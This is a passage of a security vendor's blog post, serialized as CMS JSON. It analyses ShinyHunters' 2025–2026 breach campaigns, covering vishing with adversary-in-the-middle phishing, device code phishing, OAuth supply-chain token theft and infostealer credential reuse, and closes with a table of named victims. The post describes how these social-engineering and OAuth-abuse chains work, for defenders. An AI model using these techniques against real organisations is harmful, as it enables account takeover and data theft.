",{"data":15500,"content":15502,"nodeType":889},{"uri":15501},"https://www.bleepingcomputer.com/news/security/shinyhunters-claims-15-billion-salesforce-records-stolen-in-drift-hacks/",[15503],{"data":15504,"marks":15505,"value":15506,"nodeType":865},{},[],"2024 Snowflake breach",{"data":15508,"marks":15509,"value":15510,"nodeType":865},{},[]," that compromised over 165 customer environments (and claimed another billion-plus records).",{"data":15512,"content":15513,"nodeType":866},{},[15514,15518,15526,15530,15538,15542,15550],{"data":15515,"marks":15516,"value":15517,"nodeType":865},{},[],"Not every SLH breach is browser-based — the Instructure breach (275 million individuals, ~330 school login portals defaced) began with a Salesforce tenant compromise in September 2025, but resurfaced in May 2026 after attackers exploited a ",{"data":15519,"content":15521,"nodeType":889},{"uri":15520},"https://www.bitdefender.com/en-gb/blog/businessinsights/technical-advisory-shinyhunters-breach-instructure-canvas-lms",[15522],{"data":15523,"marks":15524,"value":15525,"nodeType":865},{},[],"vulnerability affecting Canvas's Free-For-Teacher program",{"data":15527,"marks":15528,"value":15529,"nodeType":865},{},[]," (it's now been confirmed that Instructure \"",{"data":15531,"content":15533,"nodeType":889},{"uri":15532},"https://www.instructure.com/incident_update",[15534],{"data":15535,"marks":15536,"value":15537,"nodeType":865},{},[],"reached a settlement",{"data":15539,"marks":15540,"value":15541,"nodeType":865},{},[],"\" for the deletion of the data, and shut down the free account tier), while the Coinbase breach cost ",{"data":15543,"content":15545,"nodeType":889},{"uri":15544},"https://www.bleepingcomputer.com/news/security/coinbase-discloses-breach-faces-up-to-400-million-in-losses/",[15546],{"data":15547,"marks":15548,"value":15549,"nodeType":865},{},[],"$180M–400M through insider bribery",{"data":15551,"marks":15552,"value":15553,"nodeType":865},{},[]," — but these are the exceptions that prove the rule. ",{"data":15555,"content":15559,"nodeType":912},{"target":15556},{"sys":15557},{"id":15558,"type":909,"linkType":910},"4qNrbDyMJIumQfdbh9YVkU",[],{"data":15561,"content":15562,"nodeType":866},{},[15563,15568],{"data":15564,"marks":15565,"value":15567,"nodeType":865},{},[15566],{"type":926},"The vast majority of SLH campaigns over the past year converge on three browser-based attack vectors: vishing combined with AiTM phishing, device code phishing exploiting account authorization flows, and OAuth supply chain attacks through compromised third-party integrators.",{"data":15569,"marks":15570,"value":15571,"nodeType":865},{},[]," Each is well-documented, each has produced confirmed victims at scale, and each is detectable or preventable through browser-layer security controls.",{"data":15573,"content":15574,"nodeType":972},{},[],{"data":15576,"content":15577,"nodeType":981},{},[15578],{"data":15579,"marks":15580,"value":15582,"nodeType":865},{},[15581],{"type":926},"Vector 1: Vishing combined with AiTM phishing",{"data":15584,"content":15585,"nodeType":866},{},[15586,15590,15598,15601,15609,15612,15619,15623,15630],{"data":15587,"marks":15588,"value":15589,"nodeType":865},{},[],"The most visible campaign right now pairs targeted voice calls with adversary-in-the-middle phishing pages — an approach that ",{"data":15591,"content":15593,"nodeType":889},{"uri":15592},"https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft",[15594],{"data":15595,"marks":15596,"value":15597,"nodeType":865},{},[],"Mandiant",{"data":15599,"marks":15600,"value":14216,"nodeType":865},{},[],{"data":15602,"content":15604,"nodeType":889},{"uri":15603},"https://www.crowdstrike.com/en-us/blog/defending-against-cordial-spider-and-snarky-spider-with-falcon-shield/",[15605],{"data":15606,"marks":15607,"value":15608,"nodeType":865},{},[]," CrowdStrike",{"data":15610,"marks":15611,"value":14629,"nodeType":865},{},[],{"data":15613,"content":15614,"nodeType":889},{"uri":15489},[15615],{"data":15616,"marks":15617,"value":15618,"nodeType":865},{},[]," Unit 42",{"data":15620,"marks":15621,"value":15622,"nodeType":865},{},[]," have all documented from the incident response side, and which Push has ",{"data":15624,"content":15625,"nodeType":889},{"uri":13633},[15626],{"data":15627,"marks":15628,"value":15629,"nodeType":865},{},[],"documented from inside the attacker's own operator panels",{"data":15631,"marks":15632,"value":1615,"nodeType":865},{},[],{"data":15634,"content":15635,"nodeType":866},{},[15636],{"data":15637,"marks":15638,"value":15639,"nodeType":865},{},[],"An attacker impersonating IT support calls the target employee, establishes urgency — often citing a \"mandatory passkey rollout\" or a \"security compliance update\" — and directs them to a victim-branded AiTM phishing page (typically at a domain like \u003Ccompany>sso.com or \u003Ccompany>internal.com). The attack is processed by a live human in real time, relaying credentials and MFA codes to the legitimate identity provider as they are entered, capturing the resulting session token, and granting the attacker an authenticated session. ",{"data":15641,"content":15642,"nodeType":866},{},[15643,15647,15654,15658],{"data":15644,"marks":15645,"value":15646,"nodeType":865},{},[],"One of the reasons that this method is becoming so widespread is the commoditization of effective tools. Push's ",{"data":15648,"content":15649,"nodeType":889},{"uri":13633},[15650],{"data":15651,"marks":15652,"value":15653,"nodeType":865},{},[],"infiltration of the criminal phishing panels",{"data":15655,"marks":15656,"value":15657,"nodeType":865},{},[]," identified over 400 linked domains across four distinct infrastructure clusters. ",{"data":15659,"marks":15660,"value":15662,"nodeType":865},{},[15661],{"type":926},"This mirrors the pattern that turned AiTM phishing from a specialist capability into an industrialized market with competing PhaaS platforms, but with the added complication that voice phishing as the delivery vector makes the attack invisible to traditional anti-phishing controls at the email layer.",{"data":15664,"content":15668,"nodeType":912},{"target":15665},{"sys":15666},{"id":15667,"type":909,"linkType":910},"1Yhthl0PILGW7EmCcZUrNv",[],{"data":15670,"content":15671,"nodeType":972},{},[],{"data":15673,"content":15674,"nodeType":981},{},[15675],{"data":15676,"marks":15677,"value":15679,"nodeType":865},{},[15678],{"type":926},"Vector 2: Vishing combined with device code phishing",{"data":15681,"content":15682,"nodeType":866},{},[15683,15686,15693,15697,15704],{"data":15684,"marks":15685,"value":1449,"nodeType":865},{},[],{"data":15687,"content":15688,"nodeType":889},{"uri":13013},[15689],{"data":15690,"marks":15691,"value":15692,"nodeType":865},{},[],"ShinyHunters Salesforce campaign",{"data":15694,"marks":15695,"value":15696,"nodeType":865},{},[]," that ran through 2025 and into 2026 used device code phishing as one of its core methods, ",{"data":15698,"content":15699,"nodeType":889},{"uri":15501},[15700],{"data":15701,"marks":15702,"value":15703,"nodeType":865},{},[],"compromising over 1,000 organizations and claiming 1.5 billion stolen records",{"data":15705,"marks":15706,"value":15707,"nodeType":865},{},[]," — including an attempted extortion of Salesforce itself. The attack involved registering an attacker-controlled \"DataLoader\" application mimicking a legitimate Salesforce tool, configuring it to request broad OAuth scopes including full API access and refresh token generation, and guiding victims through the device authorization flow via vishing calls.",{"data":15709,"content":15710,"nodeType":866},{},[15711],{"data":15712,"marks":15713,"value":15714,"nodeType":865},{},[],"Device code phishing exploits the OAuth 2.0 device authorization grant — a flow designed for devices without browsers, like smart TVs, but used in a wide range of scenarios including CLI logins — by tricking users into entering a code on Microsoft's (or another identity provider's) legitimate verification page. Since the victim is usually signed into the app in their browser, there’s no login at all. They simply navigate to the app’s device code login page and enter an attacker-provided code to grant the attacker an access token. ",{"data":15716,"content":15717,"nodeType":866},{},[15718],{"data":15719,"marks":15720,"value":15722,"nodeType":865},{},[15721],{"type":926},"This is what makes device code phishing structurally different from AiTM: it defeats all MFA (including passkeys) because the attack doesn’t target the login, but the authorization layer instead.",{"data":15724,"content":15728,"nodeType":912},{"target":15725},{"sys":15726},{"id":15727,"type":909,"linkType":910},"3ElQz8sLATnR8RY5nVlBGM",[],{"data":15730,"content":15731,"nodeType":972},{},[],{"data":15733,"content":15734,"nodeType":981},{},[15735],{"data":15736,"marks":15737,"value":15739,"nodeType":865},{},[15738],{"type":926},"Vector 3: OAuth supply chain attacks through compromised integrators",{"data":15741,"content":15742,"nodeType":866},{},[15743],{"data":15744,"marks":15745,"value":15746,"nodeType":865},{},[],"The third vector does not require the attacker to phish the victim organization's employees at all. Instead, it exploits the OAuth trust relationships that organizations create when they connect third-party SaaS vendors into their environments — and the consequence is that every organization that authorized one of these integrations effectively extended its security boundary to include the vendor's own security posture.",{"data":15748,"content":15749,"nodeType":866},{},[15750,15753,15761],{"data":15751,"marks":15752,"value":1449,"nodeType":865},{},[],{"data":15754,"content":15756,"nodeType":889},{"uri":15755},"https://cloud.google.com/blog/topics/threat-intelligence/data-theft-salesforce-instances-via-salesloft-drift",[15757],{"data":15758,"marks":15759,"value":15760,"nodeType":865},{},[],"Salesloft/Drift supply chain attack",{"data":15762,"marks":15763,"value":15764,"nodeType":865},{},[]," demonstrated this at scale in 2025: in an extension of the previously mentioned device code phishing campaign, the attacker compromised Salesloft's GitHub environment, used TruffleHog to find secrets, stole Drift OAuth tokens, and used them to access downstream Salesforce environments. The same pattern was later repeated at Gainsight. ",{"data":15766,"content":15767,"nodeType":866},{},[15768],{"data":15769,"marks":15770,"value":15771,"nodeType":865},{},[],"Along with the previously mentioned device code phishing attacks,  more than 1000 organizations were breached. The attackers then harvested AWS keys, Snowflake credentials, and stored passwords from breached Salesforce instances, compounding the access into progressively wider reach.",{"data":15773,"content":15774,"nodeType":866},{},[15775,15779,15787,15791,15799,15803,15810],{"data":15776,"marks":15777,"value":15778,"nodeType":865},{},[],"The same structural pattern has continued into 2026 with the Anodot supply chain compromise, which has produced confirmed breaches at ",{"data":15780,"content":15782,"nodeType":889},{"uri":15781},"https://www.bleepingcomputer.com/news/security/vimeo-data-breach-exposes-personal-information-of-119-000-people/",[15783],{"data":15784,"marks":15785,"value":15786,"nodeType":865},{},[],"Vimeo",{"data":15788,"marks":15789,"value":15790,"nodeType":865},{},[]," (119,000 users), Rockstar Games (78.6 million records), and ",{"data":15792,"content":15794,"nodeType":889},{"uri":15793},"https://www.bleepingcomputer.com/news/security/zara-data-breach-exposed-personal-information-of-197-000-people/",[15795],{"data":15796,"marks":15797,"value":15798,"nodeType":865},{},[],"Zara/Inditex",{"data":15800,"marks":15801,"value":15802,"nodeType":865},{},[]," (197,000 people), with further downstream victims likely still emerging. The ",{"data":15804,"content":15805,"nodeType":889},{"uri":3841},[15806],{"data":15807,"marks":15808,"value":15809,"nodeType":865},{},[],"Vercel breach",{"data":15811,"marks":15812,"value":15813,"nodeType":865},{},[],", which involved compromised OAuth tokens from Context.ai cascading into Google Workspace, also reinforces the same attack pattern (though it was likely not a ShinyHunters operation despite being claimed by someone pretending to be them).",{"data":15815,"content":15816,"nodeType":866},{},[15817],{"data":15818,"marks":15819,"value":15820,"nodeType":865},{},[],"A forgotten SaaS integration can easily become the pivot point for downstream compromise. The moment you authorize a third-party integration, your security boundary extends to include that vendor. If the third-party is compromised, every downstream customer organization with an active integration is exposed.",{"data":15822,"content":15823,"nodeType":972},{},[],{"data":15825,"content":15826,"nodeType":981},{},[15827],{"data":15828,"marks":15829,"value":15831,"nodeType":865},{},[15830],{"type":926},"The infostealer credential playbook sits alongside these attacks",{"data":15833,"content":15834,"nodeType":866},{},[15835,15839,15847],{"data":15836,"marks":15837,"value":15838,"nodeType":865},{},[],"Alongside the three vectors above, ShinyHunters has a track record of exploiting the infostealer credential economy at scale — and it predates any of them. The 2024 Snowflake campaign — 165+ customer environments compromised, over a billion records stolen from AT&T, Ticketmaster, Santander, and Advance Auto Parts among others — was built entirely on infostealer-harvested credentials replayed against MFA-less tenants, with ",{"data":15840,"content":15842,"nodeType":889},{"uri":15841},"https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion",[15843],{"data":15844,"marks":15845,"value":15846,"nodeType":865},{},[],"Mandiant's investigation",{"data":15848,"marks":15849,"value":15850,"nodeType":865},{},[]," finding that 80% of compromised accounts had prior breach exposure in datasets dating back to 2020. The credentials were already circulating in criminal marketplaces; ShinyHunters simply purchased and operationalized them at industrial scale.",{"data":15852,"content":15853,"nodeType":866},{},[15854,15858,15866,15870,15878,15882,15890,15894,15902],{"data":15855,"marks":15856,"value":15857,"nodeType":865},{},[],"The same methodology powered the ",{"data":15859,"content":15861,"nodeType":889},{"uri":15860},"https://pushsecurity.com/blog/why-attackers-are-targeting-jira-with-stolen-credentials/",[15862],{"data":15863,"marks":15864,"value":15865,"nodeType":865},{},[],"HellCat Jira campaign",{"data":15867,"marks":15868,"value":15869,"nodeType":865},{},[]," through 2024–2025, and has now been industrialized as a standalone operation by ",{"data":15871,"content":15873,"nodeType":889},{"uri":15872},"https://www.halcyon.ai/jp/threat-group/coinbasecartel",[15874],{"data":15875,"marks":15876,"value":15877,"nodeType":865},{},[],"CoinbaseCartel",{"data":15879,"marks":15880,"value":15881,"nodeType":865},{},[],", another criminal group reported to be an offshoot of SLH. CoinbaseCartel's model is familiar: purchase old infostealer credentials, use them to access cloud and development environments, exfiltrate data, and demand ransom. ",{"data":15883,"content":15885,"nodeType":889},{"uri":15884},"https://www.infostealers.com/article/inside-the-coinbase-cartel-how-infostealer-credentials-fueled-a-100-company-ransomware-spree/",[15886],{"data":15887,"marks":15888,"value":15889,"nodeType":865},{},[],"Hudson Rock's analysis",{"data":15891,"marks":15892,"value":15893,"nodeType":865},{},[]," of the group's 170+ claimed victims confirms that roughly 80% had prior infostealer infections predating the attacks. The most recent named victim is ",{"data":15895,"content":15897,"nodeType":889},{"uri":15896},"https://www.bleepingcomputer.com/news/security/grafana-says-stolen-github-token-let-hackers-steal-codebase/",[15898],{"data":15899,"marks":15900,"value":15901,"nodeType":865},{},[],"Grafana",{"data":15903,"marks":15904,"value":15905,"nodeType":865},{},[],", where a GitHub token compromised via the TanStack npm supply chain attack and missed during credential rotation was used to download the codebase and attempt extortion. ",{"data":15907,"content":15908,"nodeType":972},{},[],{"data":15910,"content":15911,"nodeType":981},{},[15912],{"data":15913,"marks":15914,"value":15916,"nodeType":865},{},[15915],{"type":926},"These attacks all happen in the browser",{"data":15918,"content":15919,"nodeType":866},{},[15920,15924,15931],{"data":15921,"marks":15922,"value":15923,"nodeType":865},{},[],"Every one of these attack chains is a browser-based attack that either occurs in the browser (AiTM phishing, device code phishing) or could have been prevented at the browser layer (OAuth consent governance). The techniques are interchangeable — the",{"data":15925,"content":15926,"nodeType":889},{"uri":1951},[15927],{"data":15928,"marks":15929,"value":15930,"nodeType":865},{},[]," same criminal kits now offer AiTM and device code phishing side by side",{"data":15932,"marks":15933,"value":15934,"nodeType":865},{},[],", and the same threat actor (ShinyHunters) has used all three vectors across different campaigns within the same twelve-month period.",{"data":15936,"content":15937,"nodeType":866},{},[15938,15942,15949],{"data":15939,"marks":15940,"value":15941,"nodeType":865},{},[],"Additionally, infostealer infections themselves are increasingly delivered through browser-based methods like ",{"data":15943,"content":15945,"nodeType":889},{"uri":15944},"https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection",[15946],{"data":15947,"marks":15948,"value":315,"nodeType":865},{},[],{"data":15950,"marks":15951,"value":15952,"nodeType":865},{},[],", closing the loop between the credential supply side and the browser-layer detection point.",{"data":15954,"content":15955,"nodeType":1317},{},[15956],{"data":15957,"marks":15958,"value":6331,"nodeType":865},{},[15959],{"type":926},{"data":15961,"content":15962,"nodeType":866},{},[15963],{"data":15964,"marks":15965,"value":15966,"nodeType":865},{},[],"Push operates at the exact point in each of these attack chains where automated intervention can still prevent the compromise. ",{"data":15968,"content":15969,"nodeType":866},{},[15970,15975],{"data":15971,"marks":15972,"value":15974,"nodeType":865},{},[15973],{"type":926},"For vishing + AiTM attacks, ",{"data":15976,"marks":15977,"value":15978,"nodeType":865},{},[],"Push's behavioral phishing detection analyzes and blocks the phishing page in real time by detecting it from the user's browser — regardless of the domains used, hosting infrastructure, or where the URL was delivered.  ",{"data":15980,"content":15981,"nodeType":866},{},[15982,15987],{"data":15983,"marks":15984,"value":15986,"nodeType":865},{},[15985],{"type":926},"For device code phishing,",{"data":15988,"marks":15989,"value":15990,"nodeType":865},{},[]," Push detects the phishing pages associated with device code phishing kits — including generic, technique-class detections that catch new kits without requiring kit-specific signatures. Second, Push provides an additional layer of protection on the legitimate device code authentication pages themselves, preventing users from entering attacker-supplied codes into them. Together, these detections cover both the kit-operated phishing infrastructure and the legitimate auth pages that the attack flow depends on.",{"data":15992,"content":15993,"nodeType":866},{},[15994,15999],{"data":15995,"marks":15996,"value":15998,"nodeType":865},{},[15997],{"type":926},"For OAuth supply chain attacks,",{"data":16000,"marks":16001,"value":16002,"nodeType":865},{},[]," Push's detects and controls OAuth consent flows at the browser layer — capturing which application is requesting access, what scopes it's requesting, and whether the grant should be permitted under organizational policy. Push customers can also block OAuth connection requests as they transit the browser, enabling security teams to stop unwanted integrations being added in the first place. ",{"data":16004,"content":16005,"nodeType":866},{},[16006,16011],{"data":16007,"marks":16008,"value":16010,"nodeType":865},{},[16009],{"type":926},"For the infostealer credential playbook,",{"data":16012,"marks":16013,"value":16014,"nodeType":865},{},[]," Push's stolen credential detection identifies when employees are using credentials that have appeared in breach datasets or dark web feeds — catching the moment a dormant infostealer credential surfaces at a browser-based login, as well as surfacing insecure login methods missing mitigating controls like MFA and enforcing them through in-browser guardrails. And on the supply side, Push's ClickFix detection addresses the browser-based delivery vector that is now the primary method for distributing infostealer malware in the first place.",{"data":16016,"content":16017,"nodeType":866},{},[16018,16021,16028],{"data":16019,"marks":16020,"value":21,"nodeType":865},{},[],{"data":16022,"content":16023,"nodeType":889},{"uri":1256},[16024],{"data":16025,"marks":16026,"value":16027,"nodeType":865},{},[],"Learn more about how you can use Push controls to protect your users from in-browser threats here. ",{"data":16029,"marks":16030,"value":21,"nodeType":865},{},[],{"data":16032,"content":16033,"nodeType":1317},{},[16034],{"data":16035,"marks":16036,"value":16038,"nodeType":865},{},[16037],{"type":926},"Closing thoughts",{"data":16040,"content":16041,"nodeType":866},{},[16042],{"data":16043,"marks":16044,"value":16045,"nodeType":865},{},[],"The campaigns documented in this post are not historical — they are ongoing, with new victims surfacing weekly and the underlying criminal infrastructure still actively developing. But the defensive strategy does not require anticipating which specific group, vector, or target sector comes next, because all of them converge on the same control point: the browser, where the attack begins or the integration decision is made. Organizations with browser-layer detection and OAuth governance in place have defense-in-depth against the full range of techniques these groups employ, regardless of which specific vector any given campaign uses.",{"data":16047,"content":16048,"nodeType":972},{},[],{"data":16050,"content":16051,"nodeType":866},{},[16052],{"data":16053,"marks":16054,"value":4591,"nodeType":865},{},[],{"data":16056,"content":16057,"nodeType":866},{},[16058],{"data":16059,"marks":16060,"value":1363,"nodeType":865},{},[],{"data":16062,"content":16063,"nodeType":866},{},[16064,16067,16074],{"data":16065,"marks":16066,"value":21,"nodeType":865},{},[],{"data":16068,"content":16070,"nodeType":889},{"uri":16069},"https://pushsecurity.com/demo/",[16071],{"data":16072,"marks":16073,"value":1378,"nodeType":865},{},[],{"data":16075,"marks":16076,"value":21,"nodeType":865},{},[],{"data":16078,"content":16079,"nodeType":972},{},[],{"data":16081,"content":16082,"nodeType":981},{},[16083],{"data":16084,"marks":16085,"value":16087,"nodeType":865},{},[16086],{"type":926},"Appendix: named ShinyHunters victims since May 2025",{"data":16089,"content":16090,"nodeType":866},{},[16091,16095,16102],{"data":16092,"marks":16093,"value":16094,"nodeType":865},{},[],"To give an indication of the scale, the following table documents all publicly named victims attributed to ShinyHunters specifically since the Salesforce campaign began in May 2025. It is not exhaustive: ShinyHunters has claimed over 1,000 organizations in aggregate across its Salesforce campaigns alone, and many victims have not been publicly named. This list also doesn’t include the billion-plus records compromised in the 2024 Snowflake breaches. The major ransomware attacks executed against M&S, Co-op, and Jaguar Land Rover claimed by the ",{"data":16096,"content":16097,"nodeType":889},{"uri":4991},[16098],{"data":16099,"marks":16100,"value":16101,"nodeType":865},{},[],"Scattered Lapsus$ Hunters \"brand\"",{"data":16103,"marks":16104,"value":16105,"nodeType":865},{},[]," also aren't listed below. ",{"data":16107,"content":16108,"nodeType":2927},{},[16109,16156,16220,16268,16316],{"data":16110,"content":16111,"nodeType":2400},{},[16112,16123,16134,16145],{"data":16113,"content":16114,"nodeType":2366},{},[16115],{"data":16116,"content":16117,"nodeType":866},{},[16118],{"data":16119,"marks":16120,"value":16122,"nodeType":865},{},[16121],{"type":926},"Campaign",{"data":16124,"content":16125,"nodeType":2366},{},[16126],{"data":16127,"content":16128,"nodeType":866},{},[16129],{"data":16130,"marks":16131,"value":16133,"nodeType":865},{},[16132],{"type":926},"Began",{"data":16135,"content":16136,"nodeType":2366},{},[16137],{"data":16138,"content":16139,"nodeType":866},{},[16140],{"data":16141,"marks":16142,"value":16144,"nodeType":865},{},[16143],{"type":926},"Named victims",{"data":16146,"content":16147,"nodeType":2366},{},[16148],{"data":16149,"content":16150,"nodeType":866},{},[16151],{"data":16152,"marks":16153,"value":16155,"nodeType":865},{},[16154],{"type":926},"Confirmed impact",{"data":16157,"content":16158,"nodeType":2400},{},[16159,16183,16193,16203],{"data":16160,"content":16161,"nodeType":2366},{},[16162],{"data":16163,"content":16164,"nodeType":866},{},[16165,16170,16174,16179],{"data":16166,"marks":16167,"value":16169,"nodeType":865},{},[16168],{"type":926},"ShinyHunters Salesforce Vishing",{"data":16171,"marks":16172,"value":16173,"nodeType":865},{},[]," (vishing + device code phishing → Salesforce connected app authorization) \n\n& ",{"data":16175,"marks":16176,"value":16178,"nodeType":865},{},[16177],{"type":926},"Salesloft/Drift Supply Chain",{"data":16180,"marks":16181,"value":16182,"nodeType":865},{},[]," (stolen OAuth tokens → downstream Salesforce access)",{"data":16184,"content":16185,"nodeType":2366},{},[16186],{"data":16187,"content":16188,"nodeType":866},{},[16189],{"data":16190,"marks":16191,"value":16192,"nodeType":865},{},[],"May 2025",{"data":16194,"content":16195,"nodeType":2366},{},[16196],{"data":16197,"content":16198,"nodeType":866},{},[16199],{"data":16200,"marks":16201,"value":16202,"nodeType":865},{},[],"Coca-Cola Europacific Partners, Cisco, Qantas, LVMH, Adidas, Google, Chanel, Pandora, Allianz Life, Air France-KLM, Farmers Insurance, Workday, TransUnion, Stellantis, Kering, Odido, Hallmark, Salesloft (origin), Toast, Avalara, Fastly, Cato Networks, Cloudflare, Palo Alto Networks, Zscaler, Tenable, Elastic, JFrog, CyberArk, Rubrik, BeyondTrust, Proofpoint, Workiva, Mercer Advisors, Beacon Pointe, Ameriprise, Kemper, Udemy, 7-Eleven, Mytheresa, Marcus & Millichap, Carnival, Pitney Bowes, Alert 360, Amtrak, McGraw-Hill, Canada Life, Charter Communications",{"data":16204,"content":16205,"nodeType":2366},{},[16206,16213],{"data":16207,"content":16208,"nodeType":866},{},[16209],{"data":16210,"marks":16211,"value":16212,"nodeType":865},{},[],"49 named victims. Confirmed individual impact includes 23M+ records (Coca-Cola), 5.7M records (Qantas), 6.2M customers (Odido), 4.4M consumers (TransUnion), up to 18M records (Stellantis), 13.5M emails (McGraw-Hill), 8.2M emails (Pitney Bowes), 7.5M emails (Carnival), 7-Eleven: 185K confirmed by HIBP (SSNs, driver's licenses; franchisee data), Charter Communications: millions of records claimed (company disputes scope). ",{"data":16214,"content":16215,"nodeType":866},{},[16216],{"data":16217,"marks":16218,"value":16219,"nodeType":865},{},[],"ShinyHunters claims 1.5B+ Salesforce records across 1,000+ organizations total.",{"data":16221,"content":16222,"nodeType":2400},{},[16223,16238,16248,16258],{"data":16224,"content":16225,"nodeType":2366},{},[16226],{"data":16227,"content":16228,"nodeType":866},{},[16229,16234],{"data":16230,"marks":16231,"value":16233,"nodeType":865},{},[16232],{"type":926},"Vishing + AiTM SSO",{"data":16235,"marks":16236,"value":16237,"nodeType":865},{},[]," (vishing → AiTM phishing page → SSO session capture → SaaS data exfiltration)",{"data":16239,"content":16240,"nodeType":2366},{},[16241],{"data":16242,"content":16243,"nodeType":866},{},[16244],{"data":16245,"marks":16246,"value":16247,"nodeType":865},{},[],"Aug 2025",{"data":16249,"content":16250,"nodeType":2366},{},[16251],{"data":16252,"content":16253,"nodeType":866},{},[16254],{"data":16255,"marks":16256,"value":16257,"nodeType":865},{},[],"SoundCloud, GrubHub, Panera Bread, Match Group, Crunchbase, Betterment, CarMax, Edmunds, CarGurus, Hims & Hers, University of Pennsylvania, Harvard University, Optimizely, TELUS Digital, Crunchyroll, ADT",{"data":16259,"content":16260,"nodeType":2366},{},[16261],{"data":16262,"content":16263,"nodeType":866},{},[16264],{"data":16265,"marks":16266,"value":16267,"nodeType":865},{},[],"16 named victims. Confirmed individual impact includes ~30M records (SoundCloud), ~14M records (Panera), 10M+ records (Match Group), ~20M records (Betterment), 5.5M people (ADT), 1M+ records (UPenn), ~1PB stolen from TELUS Digital ($65M ransom refused).",{"data":16269,"content":16270,"nodeType":2400},{},[16271,16286,16296,16306],{"data":16272,"content":16273,"nodeType":2366},{},[16274],{"data":16275,"content":16276,"nodeType":866},{},[16277,16282],{"data":16278,"marks":16279,"value":16281,"nodeType":865},{},[16280],{"type":926},"Anodot Supply Chain",{"data":16283,"marks":16284,"value":16285,"nodeType":865},{},[]," (stolen OAuth tokens → downstream Snowflake/BigQuery access)",{"data":16287,"content":16288,"nodeType":2366},{},[16289],{"data":16290,"content":16291,"nodeType":866},{},[16292],{"data":16293,"marks":16294,"value":16295,"nodeType":865},{},[],"Apr 2026",{"data":16297,"content":16298,"nodeType":2366},{},[16299],{"data":16300,"content":16301,"nodeType":866},{},[16302],{"data":16303,"marks":16304,"value":16305,"nodeType":865},{},[],"Anodot/Glassbox (origin), Rockstar Games, Vimeo, Zara/Inditex",{"data":16307,"content":16308,"nodeType":2366},{},[16309],{"data":16310,"content":16311,"nodeType":866},{},[16312],{"data":16313,"marks":16314,"value":16315,"nodeType":865},{},[],"4 named victims (12+ total claimed). 78.6M records (Rockstar Games), 197K individuals (Zara), 119K individuals (Vimeo).",{"data":16317,"content":16318,"nodeType":2400},{},[16319,16334,16343,16353],{"data":16320,"content":16321,"nodeType":2366},{},[16322],{"data":16323,"content":16324,"nodeType":866},{},[16325,16330],{"data":16326,"marks":16327,"value":16329,"nodeType":865},{},[16328],{"type":926},"Other SLH-attributed",{"data":16331,"marks":16332,"value":16333,"nodeType":865},{},[]," (misc. vectors including infostealer chains, CI/CD supply chain, SaaS platform compromise)",{"data":16335,"content":16336,"nodeType":2366},{},[16337],{"data":16338,"content":16339,"nodeType":866},{},[16340],{"data":16341,"marks":16342,"value":16192,"nodeType":865},{},[],{"data":16344,"content":16345,"nodeType":2366},{},[16346],{"data":16347,"content":16348,"nodeType":866},{},[16349],{"data":16350,"marks":16351,"value":16352,"nodeType":865},{},[],"UK Legal Aid Agency, Mixpanel, Wynn Resorts, Woflow, Vercel, European Commission, Mercor, Medtronic, Instructure",{"data":16354,"content":16355,"nodeType":2366},{},[16356],{"data":16357,"content":16358,"nodeType":866},{},[16359],{"data":16360,"marks":16361,"value":16362,"nodeType":865},{},[],"10 named victims across varied vectors. Notable: Vercel (Lumma Stealer → Context.ai OAuth app → Google Workspace), European Commission (poisoned Trivy GitHub Action → 340GB across 71 EU entities)",{"data":16364,"content":16365,"nodeType":866},{},[16366],{"data":16367,"marks":16368,"value":21,"nodeType":865},{},[],"The three attack techniques behind ShinyHunters' 2026 campaigns ","ShinyHunters' breach of Instructure is the latest in a long series of attacks. Here's our view of the big picture. ","analyzing-the-instructure-breach",{"items":16373},[16374,16376],{"sys":16375,"name":7796},{"id":7795},{"sys":16377,"name":342},{"id":4642},{"items":16379},[16380],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":16381},{"url":7804},"7-things-we-learned-from-troy-hunt","blog/7-things-we-learned-from-troy-hunt",{"json":16385},{"data":16386,"content":16387,"nodeType":1382},{},[16388],{"data":16389,"content":16390,"nodeType":866},{},[16391,16395,16403],{"data":16392,"marks":16393,"value":16394,"nodeType":865},{},[],"Troy Hunt — founder of ",{"data":16396,"content":16398,"nodeType":889},{"uri":16397},"https://haveibeenpwned.com/",[16399],{"data":16400,"marks":16401,"value":16402,"nodeType":865},{},[],"Have I Been Pwned",{"data":16404,"marks":16405,"value":16406,"nodeType":865},{},[],", and the person who has probably collected more breach data than anyone in history — joined Push field CTO Mark Orlando to talk about why credential-based attacks keep working, what breach data actually tells us about organizational risk, and why even the best human defenses aren't enough on their own.","Here are 7 things we learned from our conversation with Troy Hunt on the \"Yes, you've been pwned\" webinar. ",{"id":16409,"publishedAt":16410},"1a7lydXCDm3UakeiWQVPfQ","2026-08-12T12:00:54.383Z",{"items":16412},[16413,16415],{"sys":16414,"name":7796},{"id":7795},{"sys":16416,"name":2314},{"id":2313},{"items":16418},[16419,16421,16423,16425,16427,16429,16431,16433,16435,16437,16439,16441,16443,16445,16447,16449,16451,16453,16455,16457,16459,16461],{"sys":16420,"name":279,"slug":280,"tier":31},{"id":276},{"sys":16422,"name":413,"slug":414,"tier":31},{"id":410},{"sys":16424,"name":519,"slug":520,"tier":31},{"id":516},{"sys":16426,"name":297,"slug":298,"tier":31},{"id":294},{"sys":16428,"name":642,"slug":643,"tier":31},{"id":639},{"sys":16430,"name":333,"slug":334,"tier":45},{"id":330},{"sys":16432,"name":502,"slug":503,"tier":45},{"id":499},{"sys":16434,"name":422,"slug":423,"tier":45},{"id":419},{"sys":16436,"name":511,"slug":512,"tier":45},{"id":508},{"sys":16438,"name":466,"slug":467,"tier":45},{"id":463},{"sys":16440,"name":571,"slug":572,"tier":45},{"id":568},{"sys":16442,"name":324,"slug":325,"tier":45},{"id":321},{"sys":16444,"name":261,"slug":262,"tier":45},{"id":258},{"sys":16446,"name":315,"slug":316,"tier":45},{"id":312},{"sys":16448,"name":395,"slug":396,"tier":45},{"id":392},{"sys":16450,"name":589,"slug":590,"tier":45},{"id":586},{"sys":16452,"name":457,"slug":458,"tier":45},{"id":454},{"sys":16454,"name":607,"slug":608,"tier":45},{"id":604},{"sys":16456,"name":475,"slug":476,"tier":45},{"id":472},{"sys":16458,"name":440,"slug":441,"tier":45},{"id":437},{"sys":16460,"name":537,"slug":538,"tier":45},{"id":534},{"sys":16462,"name":528,"slug":529,"tier":45},{"id":525},"-a4IwYePRXthOxupqmWqIxVJil-CjQyZKA0JJTofdUE",{"id":16465,"title":16466,"authorsCollection":16467,"content":16471,"extension":228,"faqItems